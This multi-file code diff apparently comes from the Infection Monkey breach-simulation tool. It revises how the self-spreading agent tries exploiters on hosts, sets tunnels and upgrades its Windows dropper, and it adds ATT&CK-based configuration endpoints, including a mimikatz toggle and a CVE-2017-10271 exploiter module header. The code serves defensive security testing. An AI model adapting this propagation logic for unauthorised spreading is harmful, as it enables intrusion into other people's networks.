|
||||
LOG.info("All default web ports are closed on %r, skipping", host)
|
||||
LOG.info("All default web ports are closed on %r, skipping", str(host))
|
||||
return False
|
||||
else:
|
||||
return ports
|
||||
|
|
|
@ -5,7 +5,7 @@
|
|||
# Luffin from Github
|
||||
# https://github.com/Luffin/CVE-2017-10271
|
||||
# CVE: CVE-2017-10271
|
||||
|
||||
from __future__ import print_function
|
||||
from requests import post, exceptions
|
||||
from infection_monkey.exploit.web_rce import WebRCE
|
||||
from infection_monkey.exploit.tools import get_free_tcp_port, get_interface_to_target
|
||||
|
|
|
@ -19,6 +19,7 @@ from infection_monkey.windows_upgrader import WindowsUpgrader
|
|||
from infection_monkey.post_breach.post_breach_handler import PostBreach
|
||||
from common.utils.attack_utils import ScanStatus
|
||||
from infection_monkey.transport.attack_telems.victim_host_telem import VictimHostTelem
|
||||
from infection_monkey.exploit.tools import get_interface_to_target
|
||||
|
||||
__author__ = 'itamar'
|
||||
|
||||
|
@ -39,6 +40,7 @@ class InfectionMonkey(object):
|
|||
self._exploiters = None
|
||||
self._fingerprint = None
|
||||
self._default_server = None
|
||||
self._default_server_port = None
|
||||
self._depth = 0
|
||||
self._opts = None
|
||||
self._upgrading_to_64 = False
|
||||
|
@ -59,6 +61,10 @@ class InfectionMonkey(object):
|
|||
self._parent = self._opts.parent
|
||||
self._default_tunnel = self._opts.tunnel
|
||||
self._default_server = self._opts.server
|
||||
try:
|
||||
self._default_server_port = self._default_server.split(':')[1]
|
||||
except KeyError:
|
||||
self._default_server_port = ''
|
||||
if self._opts.depth:
|
||||
WormConfiguration._depth_from_commandline = True
|
||||
self._keep_running = True
|
||||
|
@ -172,20 +178,22 @@ class InfectionMonkey(object):
|
|||
if monkey_tunnel:
|
||||
monkey_tunnel.set_tunnel_for_host(machine)
|
||||
if self._default_server:
|
||||
machine.set_default_server(get_interface_to_target(machine.ip_addr) +
|
||||
(':'+self._default_server_port if self._default_server_port else ''))
|
||||
LOG.debug("Default server: %s set to machine: %r" % (self._default_server, machine))
|
||||
machine.set_default_server(self._default_server)
|
||||
|
||||
# Order exploits according to their type
|
||||
self._exploiters = sorted(self._exploiters, key=lambda exploiter_: exploiter_.EXPLOIT_TYPE.value)
|
||||
host_exploited = False
|
||||
for exploiter in [exploiter(machine) for exploiter in self._exploiters]:
|
||||
if self.try_exploiting(machine, exploiter):
|
||||
host_exploited = True
|
||||
VictimHostTelem('T1210', ScanStatus.USED.value, machine=machine).send()
|
||||
break
|
||||
if not host_exploited:
|
||||
self._fail_exploitation_machines.add(machine)
|
||||
VictimHostTelem('T1210', ScanStatus.SCANNED.value, machine=machine).send()
|
||||
if WormConfiguration.should_exploit:
|
||||
self._exploiters = sorted(self._exploiters, key=lambda exploiter_: exploiter_.EXPLOIT_TYPE.value)
|
||||
host_exploited = False
|
||||
for exploiter in [exploiter(machine) for exploiter in self._exploiters]:
|
||||
if self.try_exploiting(machine, exploiter):
|
||||
host_exploited = True
|
||||
VictimHostTelem('T1210', ScanStatus.USED.value, machine=machine).send()
|
||||
break
|
||||
if not host_exploited:
|
||||
self._fail_exploitation_machines.add(machine)
|
||||
VictimHostTelem('T1210', ScanStatus.SCANNED.value, machine=machine).send()
|
||||
if not self._keep_running:
|
||||
break
|
||||
|
||||
|
|
|
@ -8,6 +8,10 @@ import itertools
|
|||
import netifaces
|
||||
from subprocess import check_output
|
||||
from random import randint
|
||||
|
||||
import requests
|
||||
from requests import ConnectionError
|
||||
|
||||
from common.network.network_range import CidrRange
|
||||
|
||||
try:
|
||||
|
@ -16,6 +20,10 @@ except NameError:
|
|||
long = int # Python 3
|
||||
|
||||
|
||||
# Timeout for monkey connections
|
||||
TIMEOUT = 15
|
||||
|
||||
|
||||
def get_host_subnets():
|
||||
"""
|
||||
Returns a list of subnets visible to host (omitting loopback and auto conf networks)
|
||||
|
@ -124,14 +132,18 @@ def get_free_tcp_port(min_range=1000, max_range=65535):
|
|||
|
||||
def check_internet_access(services):
|
||||
"""
|
||||
Checks if any of the services are accessible, over ICMP
|
||||
Checks if any of the services are accessible, over HTTPS
|
||||
:param services: List of IPs/hostnames
|
||||
:return: boolean depending on internet access
|
||||
"""
|
||||
ping_str = "-n 1" if sys.platform.startswith("win") else "-c 1"
|
||||
for host in services:
|
||||
if os.system("ping " + ping_str + " " + host) == 0:
|
||||
try:
|
||||
requests.get("https://%s" % (host,), timeout=TIMEOUT, verify=False)
|
||||
return True
|
||||
except ConnectionError:
|
||||
# Failed connecting
|
||||
pass
|
||||
|
||||
return False
|
||||
|
||||
|
||||
|
|
|
@ -170,6 +170,8 @@ class HTTPServer(threading.Thread):
|
|||
def report_download(dest=None):
|
||||
LOG.info('File downloaded from (%s,%s)' % (dest[0], dest[1]))
|
||||
self.downloads += 1
|
||||
if not self.downloads < self.max_downloads:
|
||||
self.close_connection = 1
|
||||
|
||||
httpd = BaseHTTPServer.HTTPServer((self._local_ip, self._local_port), TempHandler)
|
||||
httpd.timeout = 0.5 # this is irrelevant?
|
||||
|
@ -214,6 +216,8 @@ class LockedHTTPServer(threading.Thread):
|
|||
def report_download(dest=None):
|
||||
LOG.info('File downloaded from (%s,%s)' % (dest[0], dest[1]))
|
||||
self.downloads += 1
|
||||
if not self.downloads < self.max_downloads:
|
||||
self.close_connection = 1
|
||||
|
||||
httpd = BaseHTTPServer.HTTPServer((self._local_ip, self._local_port), TempHandler)
|
||||
self.lock.release()
|
||||
|
|
|
@ -2,7 +2,6 @@ import logging
|
|||
import socket
|
||||
import struct
|
||||
import time
|
||||
from difflib import get_close_matches
|
||||
from threading import Thread
|
||||
|
||||
from infection_monkey.model import VictimHost
|
||||
|
@ -10,6 +9,7 @@ from infection_monkey.network.firewall import app as firewall
|
|||
from infection_monkey.network.info import local_ips, get_free_tcp_port
|
||||
from infection_monkey.network.tools import check_tcp_port
|
||||
from infection_monkey.transport.base import get_last_serve_time
|
||||
from infection_monkey.exploit.tools import get_interface_to_target
|
||||
|
||||
__author__ = 'hoffer'
|
||||
|
||||
|
@ -148,9 +148,9 @@ class MonkeyTunnel(Thread):
|
|||
try:
|
||||
search, address = self._broad_sock.recvfrom(BUFFER_READ)
|
||||
if '?' == search:
|
||||
ip_match = get_close_matches(address[0], self.l_ips) or self.l_ips
|
||||
ip_match = get_interface_to_target(address[0])
|
||||
if ip_match:
|
||||
answer = '%s:%d' % (ip_match[0], self.local_port)
|
||||
answer = '%s:%d' % (ip_match, self.local_port)
|
||||
LOG.debug("Got tunnel request from %s, answering with %s", address[0], answer)
|
||||
self._broad_sock.sendto(answer, (address[0], MCAST_PORT))
|
||||
elif '+' == search:
|
||||
|
@ -187,8 +187,8 @@ class MonkeyTunnel(Thread):
|
|||
if not self.local_port:
|
||||
return
|
||||
|
||||
ip_match = get_close_matches(host.ip_addr, local_ips()) or self.l_ips
|
||||
host.default_tunnel = '%s:%d' % (ip_match[0], self.local_port)
|
||||
ip_match = get_interface_to_target(host.ip_addr)
|
||||
host.default_tunnel = '%s:%d' % (ip_match, self.local_port)
|
||||
|
||||
def stop(self):
|
||||
self._stopped = True
|
||||
|
|
|
@ -37,8 +37,8 @@ class WindowsUpgrader(object):
|
|||
with monkeyfs.open(monkey_64_path, "rb") as downloaded_monkey_file:
|
||||
with open(WormConfiguration.dropper_target_path_win_64, 'wb') as written_monkey_file:
|
||||
shutil.copyfileobj(downloaded_monkey_file, written_monkey_file)
|
||||
except (IOError, AttributeError):
|
||||
LOG.error("Failed to download the Monkey to the target path.")
|
||||
except (IOError, AttributeError) as e:
|
||||
LOG.error("Failed to download the Monkey to the target path: %s." % e)
|
||||
return
|
||||
|
||||
monkey_options = build_monkey_commandline_explicitly(opts.parent, opts.tunnel, opts.server, opts.depth)
|
||||
|
|
|
@ -28,11 +28,13 @@ from monkey_island.cc.resources.root import Root
|
|||
from monkey_island.cc.resources.telemetry import Telemetry
|
||||
from monkey_island.cc.resources.telemetry_feed import TelemetryFeed
|
||||
from monkey_island.cc.resources.pba_file_download import PBAFileDownload
|
||||
from monkey_island.cc.services.config import ConfigService
|
||||
from monkey_island.cc.resources.version_update import VersionUpdate
|
||||
from monkey_island.cc.services.database import Database
|
||||
from monkey_island.cc.consts import MONKEY_ISLAND_ABS_PATH
|
||||
from monkey_island.cc.services.remote_run_aws import RemoteRunAwsService
|
||||
from monkey_island.cc.resources.pba_file_upload import FileUpload
|
||||
from monkey_island.cc.resources.attack_telem import AttackTelem
|
||||
from monkey_island.cc.resources.attack_config import AttackConfiguration
|
||||
|
||||
__author__ = 'Barak'
|
||||
|
||||
|
@ -83,31 +85,31 @@ def output_json(obj, code, headers=None):
|
|||
return resp
|
||||
|
||||
|
||||
def init_app(mongo_url):
|
||||
app = Flask(__name__)
|
||||
|
||||
api = flask_restful.Api(app)
|
||||
api.representations = {'application/json': output_json}
|
||||
|
||||
def init_app_config(app, mongo_url):
|
||||
app.config['MONGO_URI'] = mongo_url
|
||||
|
||||
app.config['SECRET_KEY'] = str(uuid.getnode())
|
||||
app.config['JWT_AUTH_URL_RULE'] = '/api/auth'
|
||||
app.config['JWT_EXPIRATION_DELTA'] = env.get_auth_expiration_time()
|
||||
|
||||
|
||||
def init_app_services(app):
|
||||
init_jwt(app)
|
||||
mongo.init_app(app)
|
||||
|
||||
with app.app_context():
|
||||
database.init()
|
||||
ConfigService.init_config()
|
||||
Database.init_db()
|
||||
|
||||
# If running on AWS, this will initialize the instance data, which is used "later" in the execution of the island.
|
||||
RemoteRunAwsService.init()
|
||||
|
||||
|
||||
def init_app_url_rules(app):
|
||||
app.add_url_rule('/', 'serve_home', serve_home)
|
||||
app.add_url_rule('/<path:static_path>', 'serve_static_file', serve_static_file)
|
||||
|
||||
|
||||
def init_api_resources(api):
|
||||
api.add_resource(Root, '/api')
|
||||
api.add_resource(Monkey, '/api/monkey', '/api/monkey/', '/api/monkey/<string:guid>')
|
||||
api.add_resource(LocalRun, '/api/local-monkey', '/api/local-monkey/')
|
||||
|
@ -129,6 +131,20 @@ def init_app(mongo_url):
|
|||
'/api/fileUpload/<string:file_type>?load=<string:filename>',
|
||||
'/api/fileUpload/<string:file_type>?restore=<string:filename>')
|
||||
api.add_resource(RemoteRun, '/api/remote-monkey', '/api/remote-monkey/')
|
||||
api.add_resource(AttackConfiguration, '/api/attack')
|
||||
api.add_resource(AttackTelem, '/api/attack/<string:technique>')
|
||||
api.add_resource(VersionUpdate, '/api/version-update', '/api/version-update/')
|
||||
|
||||
|
||||
def init_app(mongo_url):
|
||||
app = Flask(__name__)
|
||||
|
||||
api = flask_restful.Api(app)
|
||||
api.representations = {'application/json': output_json}
|
||||
|
||||
init_app_config(app, mongo_url)
|
||||
init_app_services(app)
|
||||
init_app_url_rules(app)
|
||||
init_api_resources(api)
|
||||
|
||||
return app
|
||||
|
|
|
@ -16,6 +16,7 @@ class Environment(object):
|
|||
_MONGO_URL = os.environ.get("MONKEY_MONGO_URL", "mongodb://{0}:{1}/{2}".format(_MONGO_DB_HOST, _MONGO_DB_PORT, str(_MONGO_DB_NAME)))
|
||||
_DEBUG_SERVER = False
|
||||
_AUTH_EXPIRATION_TIME = timedelta(hours=1)
|
||||
|
||||
_testing = False
|
||||
|
||||
@property
|
||||
|
@ -26,6 +27,9 @@ class Environment(object):
|
|||
def testing(self, value):
|
||||
self._testing = value
|
||||
|
||||
_MONKEY_VERSION = "1.6.3"
|
||||
|
||||
|
||||
def __init__(self):
|
||||
self.config = None
|
||||
self._testing = False # Assume env is not for unit testing.
|
||||
|
@ -50,6 +54,21 @@ class Environment(object):
|
|||
h.update(secret)
|
||||
return h.hexdigest()
|
||||
|
||||
def get_deployment(self):
|
||||
return self._get_from_config('deployment', 'unknown')
|
||||
|
||||
def is_develop(self):
|
||||
return self.get_deployment() == 'develop'
|
||||
|
||||
def get_version(self):
|
||||
return self._MONKEY_VERSION + ('-dev' if self.is_develop() else '')
|
||||
|
||||
def _get_from_config(self, key, default_value=None):
|
||||
val = default_value
|
||||
if self.config is not None:
|
||||
val = self.config.get(key, val)
|
||||
return val
|
||||
|
||||
@abc.abstractmethod
|
||||
def get_auth_users(self):
|
||||
return
|
||||
|
|
|
@ -11,7 +11,7 @@ if env.testing:
|
|||
else:
|
||||
connect(db=env.mongo_db_name, host=env.mongo_db_host, port=env.mongo_db_port)
|
||||
|
||||
# Order or importing matters here, for registering the embedded and referenced documents before using them.
|
||||
# Order of importing matters here, for registering the embedded and referenced documents before using them.
|
||||
from config import Config
|
||||
from creds import Creds
|
||||
from monkey_ttl import MonkeyTtl
|
||||
|
|
|
@ -1,2 +0,0 @@
|
|||
class MonkeyNotFoundError(Exception):
|
||||
pass
|
|
@ -5,7 +5,6 @@ import mongoengine
|
|||
from mongoengine import Document, StringField, ListField, BooleanField, EmbeddedDocumentField, DateField, \
|
||||
ReferenceField
|
||||
|
||||
from monkey_island.cc.models.errors import MonkeyNotFoundError
|
||||
from monkey_island.cc.models.monkey_ttl import MonkeyTtl
|
||||
|
||||
|
||||
|
@ -55,3 +54,7 @@ class Monkey(Document):
|
|||
# Trying to dereference unknown document - the monkey is MIA.
|
||||
monkey_is_dead = True
|
||||
return monkey_is_dead
|
||||
|
||||
|
||||
class MonkeyNotFoundError(Exception):
|
||||
pass
|
||||
|
|
|
@ -1,3 +1,5 @@
|
|||
from datetime import datetime, timedelta
|
||||
|
||||
from mongoengine import Document, DateTimeField
|
||||
|
||||
|
||||
|
@ -6,11 +8,25 @@ class MonkeyTtl(Document):
|
|||
This model represents the monkey's TTL, and is referenced by the main Monkey document.
|
||||
See https://docs.mongodb.com/manual/tutorial/expire-data/ and
|
||||
https://stackoverflow.com/questions/55994379/mongodb-ttl-index-doesnt-delete-expired-documents/56021663#56021663
|
||||
for more information about how TTL indexing works.
|
||||
for more information about how TTL indexing works and why this class is set up the way it is.
|
||||
|
||||
When initializing this object, do it like so:
|
||||
t = MonkeyTtl(expire_at=datetime.utcnow() + timedelta(seconds=XXX))
|
||||
If you wish to use this class, you can create it using the create_ttl_expire_in(seconds) function.
|
||||
If you wish to create an instance of this class directly, see the inner implementation of
|
||||
create_ttl_expire_in(seconds) to see how to do so.
|
||||
"""
|
||||
|
||||
@staticmethod
|
||||
def create_ttl_expire_in(expiry_in_seconds):
|
||||
"""
|
||||
Initializes a TTL object which will expire in expire_in_seconds seconds from when created.
|
||||
Remember to call .save() on the object after creation.
|
||||
:param expiry_in_seconds: How long should the TTL be in the DB, in seconds. Please take into consideration
|
||||
that the cleanup thread of mongo might take extra time to delete the TTL from the DB.
|
||||
"""
|
||||
# Using UTC to make the mongodb TTL feature work. See
|
||||
# https://stackoverflow.com/questions/55994379/mongodb-ttl-index-doesnt-delete-expired-documents.
|
||||
return MonkeyTtl(expire_at=datetime.utcnow() + timedelta(seconds=expiry_in_seconds))
|
||||
|
||||
meta = {
|
||||
'indexes': [
|
||||
{
|
||||
|
|
|
@ -1,13 +1,9 @@
|
|||
import uuid
|
||||
from datetime import timedelta, datetime
|
||||
from time import sleep
|
||||
from unittest import TestCase
|
||||
|
||||
# noinspection PyUnresolvedReferences
|
||||
import mongomock
|
||||
|
||||
from monkey import Monkey
|
||||
from monkey_island.cc.models.errors import MonkeyNotFoundError
|
||||
from monkey_island.cc.models.monkey import MonkeyNotFoundError
|
||||
from monkey_ttl import MonkeyTtl
|
||||
|
||||
|
||||
|
@ -21,7 +17,7 @@ class TestMonkey(TestCase):
|
|||
"""
|
||||
def test_is_dead(self):
|
||||
# Arrange
|
||||
alive_monkey_ttl = MonkeyTtl(expire_at=datetime.now() + timedelta(seconds=30))
|
||||
alive_monkey_ttl = MonkeyTtl.create_ttl_expire_in(30)
|
||||
alive_monkey_ttl.save()
|
||||
alive_monkey = Monkey(
|
||||
guid=str(uuid.uuid4()),
|
||||
|
@ -30,7 +26,7 @@ class TestMonkey(TestCase):
|
|||
alive_monkey.save()
|
||||
|
||||
# MIA stands for Missing In Action
|
||||
mia_monkey_ttl = MonkeyTtl(expire_at=datetime.now() + timedelta(seconds=30))
|
||||
mia_monkey_ttl = MonkeyTtl.create_ttl_expire_in(30)
|
||||
mia_monkey_ttl.save()
|
||||
mia_monkey = Monkey(guid=str(uuid.uuid4()), dead=False, ttl_ref=mia_monkey_ttl)
|
||||
mia_monkey.save()
|
||||
|
|
|
@ -0,0 +1,30 @@
|
|||
import flask_restful
|
||||
import json
|
||||
from flask import jsonify, request
|
||||
|
||||
from monkey_island.cc.auth import jwt_required
|
||||
from monkey_island.cc.services.attack.attack_config import AttackConfig
|
||||
|
||||
__author__ = "VakarisZ"
|
||||
|
||||
|
||||
class AttackConfiguration(flask_restful.Resource):
|
||||
@jwt_required()
|
||||
def get(self):
|
||||
return jsonify(configuration=AttackConfig.get_config()['properties'])
|
||||
|
||||
@jwt_required()
|
||||
def post(self):
|
||||
"""
|
||||
Based on request content this endpoint either resets ATT&CK configuration or updates it.
|
||||
:return: Technique types dict with techniques on reset and nothing on update
|
||||
"""
|
||||
config_json = json.loads(request.data)
|
||||
if 'reset_attack_matrix' in config_json:
|
||||
AttackConfig.reset_config()
|
||||
return jsonify(configuration=AttackConfig.get_config()['properties'])
|
||||
else:
|
||||
AttackConfig.update_config({'properties': json.loads(request.data)})
|
||||
AttackConfig.apply_to_monkey_config()
|
||||
return {}
|
||||
|
|
@ -1,7 +1,7 @@
|
|||
import flask_restful
|
||||
from flask import request
|
||||
import json
|
||||
from monkey_island.cc.services.attack.attack_telem import set_results
|
||||
from monkey_island.cc.services.attack.attack_telem import AttackTelemService
|
||||
import logging
|
||||
|
||||
__author__ = 'VakarisZ'
|
||||
|
@ -20,5 +20,5 @@ class AttackTelem(flask_restful.Resource):
|
|||
:param technique: Technique ID, e.g. T1111
|
||||
"""
|
||||
data = json.loads(request.data)
|
||||
set_results(technique, data)
|
||||
AttackTelemService.set_results(technique, data)
|
||||
return {}
|
||||
|
|
|
@ -1,12 +1,12 @@
|
|||
import json
|
||||
from datetime import datetime, timedelta
|
||||
from datetime import datetime
|
||||
|
||||
import dateutil.parser
|
||||
import flask_restful
|
||||
from flask import request
|
||||
|
||||
from monkey_island.cc.models.monkey_ttl import MonkeyTtl
|
||||
from monkey_island.cc.database import mongo
|
||||
from monkey_island.cc.models.monkey_ttl import MonkeyTtl
|
||||
from monkey_island.cc.services.config import ConfigService
|
||||
from monkey_island.cc.services.node import NodeService
|
||||
|
||||
|
@ -17,6 +17,14 @@ __author__ = 'Barak'
|
|||
# TODO: separate logic from interface
|
||||
|
||||
|
||||
def create_monkey_ttl():
|
||||
# The TTL data uses the new `models` module which depends on mongoengine.
|
||||
current_ttl = MonkeyTtl.create_ttl_expire_in(MONKEY_TTL_EXPIRY_DURATION_IN_SECONDS)
|
||||
current_ttl.save()
|
||||
ttlid = current_ttl.id
|
||||
return ttlid
|
||||
|
||||
|
||||
class Monkey(flask_restful.Resource):
|
||||
|
||||
# Used by monkey. can't secure.
|
||||
|
@ -50,13 +58,8 @@ class Monkey(flask_restful.Resource):
|
|||
tunnel_host_ip = monkey_json['tunnel'].split(":")[-2].replace("//", "")
|
||||
NodeService.set_monkey_tunnel(monkey["_id"], tunnel_host_ip)
|
||||
|
||||
# The TTL data uses the new `models` module which depends on mongoengine.
|
||||
# Using UTC to make the mongodb TTL feature work. See
|
||||
# https://stackoverflow.com/questions/55994379/mongodb-ttl-index-doesnt-delete-expired-documents.
|
||||
current_ttl = MonkeyTtl(expire_at=datetime.utcnow() + timedelta(seconds=MONKEY_TTL_EXPIRY_DURATION_IN_SECONDS))
|
||||
current_ttl.save()
|
||||
|
||||
update['$set']['ttl_ref'] = current_ttl.id
|
||||
ttlid = create_monkey_ttl()
|
||||
update['$set']['ttl_ref'] = ttlid
|
||||
|
||||
return mongo.db.monkey.update({"_id": monkey["_id"]}, update, upsert=False)
|
||||
|
||||
|
@ -117,6 +120,8 @@ class Monkey(flask_restful.Resource):
|
|||
tunnel_host_ip = monkey_json['tunnel'].split(":")[-2].replace("//", "")
|
||||
monkey_json.pop('tunnel')
|
||||
|
||||
monkey_json['ttl_ref'] = create_monkey_ttl()
|
||||
|
||||
mongo.db.monkey.update({"guid": monkey_json["guid"]},
|
||||
{"$set": monkey_json},
|
||||
upsert=True)
|
||||
|
|
|
@ -6,11 +6,10 @@ from flask import request, make_response, jsonify
|
|||
|
||||
from monkey_island.cc.auth import jwt_required
|
||||
from monkey_island.cc.database import mongo
|
||||
from monkey_island.cc.services.config import ConfigService
|
||||
from monkey_island.cc.services.node import NodeService
|
||||
from monkey_island.cc.services.report import ReportService
|
||||
from monkey_island.cc.utils import local_ip_addresses
|
||||
from monkey_island.cc.services.post_breach_files import remove_PBA_files
|
||||
from monkey_island.cc.services.database import Database
|
||||
|
||||
__author__ = 'Barak'
|
||||
|
||||
|
@ -26,7 +25,7 @@ class Root(flask_restful.Resource):
|
|||
if not action:
|
||||
return Root.get_server_info()
|
||||
elif action == "reset":
|
||||
return Root.reset_db()
|
||||
return jwt_required()(Database.reset_db)()
|
||||
elif action == "killall":
|
||||
return Root.kill_all()
|
||||
elif action == "is-up":
|
||||
|
@ -40,16 +39,6 @@ class Root(flask_restful.Resource):
|
|||
return jsonify(ip_addresses=local_ip_addresses(), mongo=str(mongo.db),
|
||||
completed_steps=Root.get_completed_steps())
|
||||
|
||||
@staticmethod
|
||||
@jwt_required()
|
||||
def reset_db():
|
||||
remove_PBA_files()
|
||||
# We can't drop system collections.
|
||||
[mongo.db[x].drop() for x in mongo.db.collection_names() if not x.startswith('system.')]
|
||||
ConfigService.init_config()
|
||||
logger.info('DB was reset')
|
||||
return jsonify(status='OK')
|
||||
|
||||
@staticmethod
|
||||
@jwt_required()
|
||||
def kill_all():
|
||||
|
|
|
@ -0,0 +1,24 @@
|
|||
import flask_restful
|
||||
import logging
|
||||
|
||||
from monkey_island.cc.environment.environment import env
|
||||
from monkey_island.cc.auth import jwt_required
|
||||
from monkey_island.cc.services.version_update import VersionUpdateService
|
||||
|
||||
__author__ = 'itay.mizeretz'
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class VersionUpdate(flask_restful.Resource):
|
||||
def __init__(self):
|
||||
super(VersionUpdate, self).__init__()
|
||||
|
||||
# We don't secure this since it doesn't give out any private info and we want UI to know version
|
||||
# even when not authenticated
|
||||
def get(self):
|
||||
return {
|
||||
'current_version': env.get_version(),
|
||||
'newer_version': VersionUpdateService.get_newer_version(),
|
||||
'download_link': VersionUpdateService.get_download_link()
|
||||
}
|
|
@ -1,3 +1,4 @@
|
|||
{
|
||||
"server_config": "standard"
|
||||
}
|
||||
"server_config": "standard",
|
||||
"deployment": "develop"
|
||||
}
|
||||
|
|
|
@ -0,0 +1,161 @@
|
|||
import logging
|
||||
from dpath import util
|
||||
from monkey_island.cc.database import mongo
|
||||
from monkey_island.cc.services.attack.attack_schema import SCHEMA
|
||||
from monkey_island.cc.services.config import ConfigService
|
||||
|
||||
__author__ = "VakarisZ"
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class AttackConfig(object):
|
||||
def __init__(self):
|
||||
pass
|
||||
|
||||
@staticmethod
|
||||
def get_config():
|
||||
config = mongo.db.attack.find_one({'name': 'newconfig'})
|
||||
return config
|
||||
|
||||
@staticmethod
|
||||
def get_config_schema():
|
||||
return SCHEMA
|
||||
|
||||
@staticmethod
|
||||
def reset_config():
|
||||
AttackConfig.update_config(SCHEMA)
|
||||
|
||||
@staticmethod
|
||||
def update_config(config_json):
|
||||
mongo.db.attack.update({'name': 'newconfig'}, {"$set": config_json}, upsert=True)
|
||||
return True
|
||||
|
||||
@staticmethod
|
||||
def apply_to_monkey_config():
|
||||
"""
|
||||
Applies ATT&CK matrix to the monkey configuration
|
||||
:return:
|
||||
"""
|
||||
attack_techniques = AttackConfig.get_technique_values()
|
||||
monkey_config = ConfigService.get_config(False, True, True)
|
||||
monkey_schema = ConfigService.get_config_schema()
|
||||
AttackConfig.set_arrays(attack_techniques, monkey_config, monkey_schema)
|
||||
AttackConfig.set_booleans(attack_techniques, monkey_config, monkey_schema)
|
||||
ConfigService.update_config(monkey_config, True)
|
||||
|
||||
@staticmethod
|
||||
def set_arrays(attack_techniques, monkey_config, monkey_schema):
|
||||
"""
|
||||
Sets exploiters/scanners/PBAs and other array type fields in monkey's config according to ATT&CK matrix
|
||||
:param attack_techniques: ATT&CK techniques dict. Format: {'T1110': True, ...}
|
||||
:param monkey_config: Monkey island's configuration
|
||||
:param monkey_schema: Monkey configuration schema
|
||||
"""
|
||||
for key, definition in monkey_schema['definitions'].items():
|
||||
for array_field in definition['anyOf']:
|
||||
# Check if current array field has attack_techniques assigned to it
|
||||
if 'attack_techniques' in array_field and array_field['attack_techniques']:
|
||||
should_remove = not AttackConfig.should_enable_field(array_field['attack_techniques'],
|
||||
attack_techniques)
|
||||
# If exploiter's attack technique is disabled, disable the exploiter/scanner/PBA
|
||||
AttackConfig.r_alter_array(monkey_config, key, array_field['enum'][0], remove=should_remove)
|
||||
|
||||
@staticmethod
|
||||
def set_booleans(attack_techniques, monkey_config, monkey_schema):
|
||||
"""
|
||||
Sets boolean type fields, like "should use mimikatz?" in monkey's config according to ATT&CK matrix
|
||||
:param attack_techniques: ATT&CK techniques dict. Format: {'T1110': True, ...}
|
||||
:param monkey_config: Monkey island's configuration
|
||||
:param monkey_schema: Monkey configuration schema
|
||||
"""
|
||||
for key, value in monkey_schema['properties'].items():
|
||||
AttackConfig.r_set_booleans([key], value, attack_techniques, monkey_config)
|
||||
|
||||
@staticmethod
|
||||
def r_set_booleans(path, value, attack_techniques, monkey_config):
|
||||
"""
|
||||
Recursively walks trough monkey configuration (DFS) to find which boolean fields needs to be set and sets them
|
||||
according to ATT&CK matrix.
|
||||
:param path: Property names that leads to current value. E.g. ['monkey', 'system_info', 'should_use_mimikatz']
|
||||
:param value: Value of config property
|
||||
:param attack_techniques: ATT&CK techniques dict. Format: {'T1110': True, ...}
|
||||
:param monkey_config: Monkey island's configuration
|
||||
"""
|
||||
if isinstance(value, dict):
|
||||
dictionary = {}
|
||||
# If 'value' is a boolean value that should be set:
|
||||
if 'type' in value and value['type'] == 'boolean' \
|
||||
and 'attack_techniques' in value and value['attack_techniques']:
|
||||
AttackConfig.set_bool_conf_val(path,
|
||||
AttackConfig.should_enable_field(value['attack_techniques'],
|
||||
attack_techniques),
|
||||
monkey_config)
|
||||
# If 'value' is dict, we go over each of it's fields to search for booleans
|
||||
elif 'properties' in value:
|
||||
dictionary = value['properties']
|
||||
else:
|
||||
dictionary = value
|
||||
for key, item in dictionary.items():
|
||||
path.append(key)
|
||||
AttackConfig.r_set_booleans(path, item, attack_techniques, monkey_config)
|
||||
# Method enumerated everything in current path, goes back a level.
|
||||
del path[-1]
|
||||
|
||||
@staticmethod
|
||||
def set_bool_conf_val(path, val, monkey_config):
|
||||
"""
|
||||
Changes monkey's configuration by setting one of its boolean fields value
|
||||
:param path: Path to boolean value in monkey's configuration. E.g. ['monkey', 'system_info', 'should_use_mimikatz']
|
||||
:param val: Boolean
|
||||
:param monkey_config: Monkey's configuration
|
||||
"""
|
||||
util.set(monkey_config, '/'.join(path), val)
|
||||
|
||||
@staticmethod
|
||||
def should_enable_field(field_techniques, users_techniques):
|
||||
"""
|
||||
Determines whether a single config field should be enabled or not.
|
||||
:param field_techniques: ATT&CK techniques that field uses
|
||||
:param users_techniques: ATT&CK techniques that user chose
|
||||
:return: True, if user enabled all techniques used by the field, false otherwise
|
||||
"""
|
||||
for technique in field_techniques:
|
||||
try:
|
||||
if not users_techniques[technique]:
|
||||
return False
|
||||
except KeyError:
|
||||
logger.error("Attack technique %s is defined in schema, but not implemented." % technique)
|
||||
return True
|
||||
|
||||
@staticmethod
|
||||
def r_alter_array(config_value, array_name, field, remove=True):
|
||||
"""
|
||||
Recursively searches config (DFS) for array and removes/adds a field.
|
||||
:param config_value: Some object/value from config
|
||||
:param array_name: Name of array this method should search
|
||||
:param field: Field in array that this method should add/remove
|
||||
:param remove: Removes field from array if true, adds it if false
|
||||
"""
|
||||
if isinstance(config_value, dict):
|
||||
if array_name in config_value and isinstance(config_value[array_name], list):
|
||||
if remove and field in config_value[array_name]:
|
||||
config_value[array_name].remove(field)
|
||||
elif not remove and field not in config_value[array_name]:
|
||||
config_value[array_name].append(field)
|
||||
else:
|
||||
for prop in config_value.items():
|
||||
AttackConfig.r_alter_array(prop[1], array_name, field, remove)
|
||||
|
||||
@staticmethod
|
||||
def get_technique_values():
|
||||
"""
|
||||
Parses ATT&CK config into a dict of techniques and corresponding values.
|
||||
:return: Dictionary of techniques. Format: {"T1110": True, "T1075": False, ...}
|
||||
"""
|
||||
attack_config = AttackConfig.get_config()
|
||||
techniques = {}
|
||||
for type_name, attack_type in attack_config['properties'].items():
|
||||
for key, technique in attack_type['properties'].items():
|
||||
techniques[key] = technique['value']
|
||||
return techniques
|
|
@ -0,0 +1,88 @@
|
|||
SCHEMA = {
|
||||
"title": "ATT&CK configuration",
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"initial_access": {
|
||||
"title": "Initial access",
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"T1078": {
|
||||
"title": "T1078 Valid accounts",
|
||||
"type": "bool",
|
||||
"value": True,
|
||||
"necessary": False,
|
||||
"description": "Mapped with T1003 Credential dumping because both techniques "
|
||||
"require same credential harvesting modules. "
|
||||
"Adversaries may steal the credentials of a specific user or service account using "
|
||||
"Credential Access techniques or capture credentials earlier in their "
|
||||
"reconnaissance process.",
|
||||
"depends_on": ["T1003"]
|
||||
}
|
||||
}
|
||||
},
|
||||
"lateral_movement": {
|
||||
"title": "Lateral movement",
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"T1210": {
|
||||
